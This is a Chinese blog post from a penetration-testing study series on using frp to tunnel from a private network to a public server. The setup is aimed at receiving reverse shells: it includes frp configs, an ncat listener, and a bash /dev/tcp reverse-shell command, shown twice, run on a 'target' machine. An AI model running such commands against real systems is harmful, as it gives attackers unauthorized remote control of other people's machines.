码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 通过Frp解决实现内网穿透


    本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

    文章目录

      • 前文链接
      • 介绍
        • 内网穿透
        • 内网穿透工具
        • frp
      • 使用实例
      • 安装
      • 服务端配置
        • 服务端启动
      • 客户端配置
        • 客户端启动
      • 测试

    前文链接

    1. WAMP/DVWA/sqli-labs 搭建
    2. burpsuite工具抓包及Intruder暴力破解的使用
    3. 目录扫描,请求重发,漏洞扫描等工具的使用
    4. 网站信息收集及nmap的下载使用
    5. SQL注入(1)——了解成因和手工注入方法
    6. SQL注入(2)——各种注入
    7. SQL注入(3)——SQLMAP
    8. SQL注入(4)——实战SQL注入拿webshell
    9. Vulnhub靶机渗透之Me and My Girlfriend
    10. XSS漏洞
    11. 文件上传漏洞
    12. 文件上传绕过
    13. 文件包含漏洞
    14. Vulnhub靶机渗透之zico2
    15. 命令执行漏洞
    16. 逻辑漏洞(越权访问和支付漏洞)
    17. 网站后台安全
    18. weevely的使用及免杀(Linux中的菜刀)
    19. MSF(1)——一次完整的渗透流程
    20. WebShell命令执行限制(解决方案)
    21. 记一次艰难的SQL注入(过安全狗)
    22. MSF(2)——各种木马的生成及简单的免杀
    23. MSF(3)——apk和exe的加马(过360、火绒)

    介绍

    内网穿透

    内网穿透,也即 NAT 穿透,进行 NAT 穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包不被 NAT 设备屏蔽而正确路由到内网主机。
    摘自:百度百科

    简单来说,ipv4的ip是有限的,大概256^4个,差不多42.9亿个,如果每台设备都分配一个ip,那ip很快就不够分了。因此,提出了内网域的概念。

    我们平时使用的计算机,如果在命令行中输入ipconfig或者ip a,可以看到自己的ip地址。
    在这里插入图片描述
    这里我的ip是192.168.1.9,这是一个内网的ip,中国电信提供的内网ip都是:192.168.*.* ,这样有了内网域,再配合网关,就可以实现几台计算机共享一个ip。这样的一个环境统称局域网。多个局域网交织在一起,叫做广域网。

    但这样就会出现一个问题,我的电脑是在内网环境中,如果其他计算机想与我建立通信,是无法连接到我的计算机的。

    假如我们想要建立一个网站,或者对外提供某项服务。关于网络安全的,ncat监听,msfconsole监听,都需要其他计算机进行主动连接,但由于我是内网环境,无法直接连接,导致无法实现。

    获取公网ip的方法网上教程很多,可以自行查询。

    在这里介绍内网穿透技术。

    内网穿透技术的工作方式大概可以通过这样一张图表示
    在这里插入图片描述
    通过间接的方式实现攻击机和目标机的连接。

    内网穿透工具

    在这里推荐我之前一直用的内网穿透工具:Sakura frp
    官网:https://www.natfrp.com/
    通过该软件,可以轻松实现内网穿透,普通用户可添加两条隧道,限速为10mb/s,每天可以签到拿流量

    这个软件,注册是免费的,开隧道是免费的,搭服务也是免费的,但签到要实名,实名资格要一块钱。

    该软件不是今天介绍的重点,感兴趣的可以自行了解

    frp

    frp 是一个高性能的反向代理应用,支持 tcp, udp, http, https 协议。
    摘自:百度百科

    这里需要有一台公网服务器,最好是linux的,获取方式大家懂得都懂,如果没有的话可以走了。

    使用实例

    在这里举一个实例。
    首先这里有三台计算机,两台有公网ip,一台,即我自己的计算机,内网。
    由于是真实环境,所有IP我都会进行处理
    Server:121.-.-.-
    Target:60.-.-.-
    Me:192.168.1.9

    首先在公网服务器上,开启frps服务

    接下来在自己电脑上运行frpc
    在这里插入图片描述
    此时内网穿透已经建立成功。

    其中,我讲自己电脑上的1234端口映射到远程服务器的6000端口,在本地我打开ncat监听
    在这里插入图片描述

    在目标机上执行回显命令

    bash -c 'exec bash -i &>/dev/tcp/121.-.-.-/6000 <&1'
    
    • 1

    在这里插入图片描述
    可以看到我自己的电脑成功收到了回显

    在这里插入图片描述

    安装

    GitHub:https://github.com/fatedier/frp/releases
    去官网分别下载相同版本的linux和windows的压缩包(根据自身情况而定)
    例如,我在这里下的是这两个
    在这里插入图片描述
    windows系统直接解压即可
    在这里插入图片描述
    把Linux的压缩包移到服务器上,输入

    tar -zxvf frp_0.44.0_linux_amd64.tar.gz
    
    • 1

    解压
    在这里插入图片描述

    服务端配置

    给文件夹先改个名字
    在这里插入图片描述
    cd进去,可以看到
    在这里插入图片描述
    其中,frps是服务器端的启动文件,frps.ini是配置文件

    vim编辑frps.ini,修改内容如下

    [common]
    bind_port = 7030
    dashboard_port = 7500
    dashboard_user = admin
    dashboard_pwd = password
    log_file = ./frps.log
    max_pool_count = 50
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    参数

    • bing_port :重要,自己的电脑连接的端口
    • dashboard_port : Web端的端口
    • dashboard_user :Web端登录账号
    • dashboard_pass :Web端登录密码
    • log_file :日志输出位置
    • max_pool_count :最大连接数

    这里像我一样配置就好了,当然,你也可以自己改
    在这里插入图片描述

    服务端启动

    输入

    ./frps -c ./frps.ini
    
    • 1

    启动
    在这里插入图片描述
    此时访问该服务器的7500端口,看到web界面即为启动成功
    在这里插入图片描述
    用户名和密码是之前配置文件的用户名和密码,比如我配置的是admin:password
    在这里插入图片描述

    客户端配置

    修改frpc.ini

    [common]
    server_addr = 服务端的IP
    server_port = 7030
    
    [reverse1]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 1234
    remote_port = 6000
    
    [reverse2]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 7777
    remote_port = 6001
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    参数:

    • server_addr : 服务器的IP
    • server_port : 服务器配置的端口

    类似

    [reverse1]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 1234
    remote_port = 6000
    
    • 1
    • 2
    • 3
    • 4
    • 5

    就是我配置的内网穿透,在这里我分别开了两条隧道,分别打到我的1234端口和7777端口,对应服务器的6000和6001端口

    想要开隧道就像这样开就好了,type表示协议

    客户端启动

    命令行输入:

    frpc.exe -c frpc.ini
    
    • 1

    在这里我是建了一个bat文件,方便启动

    启动如下
    在这里插入图片描述

    注:要先启动服务端,否则就是这样

    在这里插入图片描述
    启动之后,web界面可以看到开启的隧道
    在这里插入图片描述

    测试

    在这里以本地端口的1234,对应远程端口6000测试

    本地ncat监听

    ncat -lvvp 1234
    
    • 1

    目标靶机执行回显指令

    bash -c 'exec bash -i &>/dev/tcp/xx.xx.xx.xx/6000 <&1'
    
    • 1

    成功回显
    在这里插入图片描述

    此时在web端可看到传输了数据
    在这里插入图片描述

  • 相关阅读:
    【Jupyter】远程连接Jupyter服务器
    ssm823基于ssm的心理预约咨询管理系统的设计与实现+vue
    图像超分经典网络 SRGAN精确解析
    JAVA面试全集
    Android App开发超实用实例 | ​Broadcast
    Apache Tomcat 漏洞复现
    Java Class反射
    使用 StringUtils.split 的坑
    【6.824】分布式lab1 mapReduce
    Ajax中XMLHttpRequest
  • 原文地址:https://blog.csdn.net/realmels/article/details/126422508
  • 最新文章
  • 【JVM】编译执行与解释执行的区别是什么?JVM 使用哪种方式?
    用 Hashids 优雅解决 C 端自增 ID 暴露问题
    V8引擎 精品漫游指南--Ignition篇(上) 指令 栈帧 槽位 调用约定 内存布局 基础内容
    LLVM Pass快速入门(四):代码插桩
    milkup:桌面端 markdown AI续写和即时渲染
    基于项目工程构建SBOM(软件物料清单)的研究
    鸿蒙应用开发UI基础第二节:鸿蒙应用程序框架核心解析与实操
    .NET 中如何快速实现 List 集合去重?
    扣子Coze实战:从0到1打造抖音+小红书热点监控智能体
    浅谈数据访问层
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号